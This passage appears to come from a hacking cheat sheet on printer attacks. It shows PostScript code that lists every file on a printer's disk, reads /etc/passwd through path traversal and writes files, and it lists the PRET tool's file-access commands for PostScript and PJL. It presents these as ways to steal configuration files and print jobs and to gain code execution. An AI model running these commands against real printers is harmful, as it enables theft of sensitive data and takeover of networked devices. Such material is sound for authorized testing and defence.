Retrieve sensitive information like configuration files or stored print jobs, RCE by writting files (like editing rc scripts or replacing binary files). Legitimate language constructs are defined for PostScript and PJL to access the filesystem.
Access the file system with PostScript (note that it could be sandboxed limiting to harmless actions):
> /str 256 string def (%*%../*) % list all files
> {==} str filenameforall
< (%disk0%../webServer/home/device.html)
< (%disk0%../webServer/.java.login.config)
< (%disk0%../webServer/config/soe.xml)
> /byte (0) def % read from file
> /infile (../../../etc/passwd) (r) file def
> { infile read {byte exch 0 exch put
> (%stdout) (w) file byte writestring}
> {infile closefile exit} ifelse
> } loop
< root::0:0::/:/bin/dlsh
> /outfile (test.txt) (w+) file def}} % write to file
> outfile (Hello World!) writestring
> outfile closefile
You can use PRET commands: ls, get, put, append, delete, rename, find, mirror, touch, mkdir, cd, pwd, chvol, traversal, format, fuzz and df :
./pret.py -q printer ps

Anyway accessing files with PJL is not supported by many printers.
You can use PRET commands: ls, get, put, append, delete, find, mirror, touch, mkdir, cd, pwd, chvol, traversal, format, fuzz and df :
./pret.py -q printer pjl
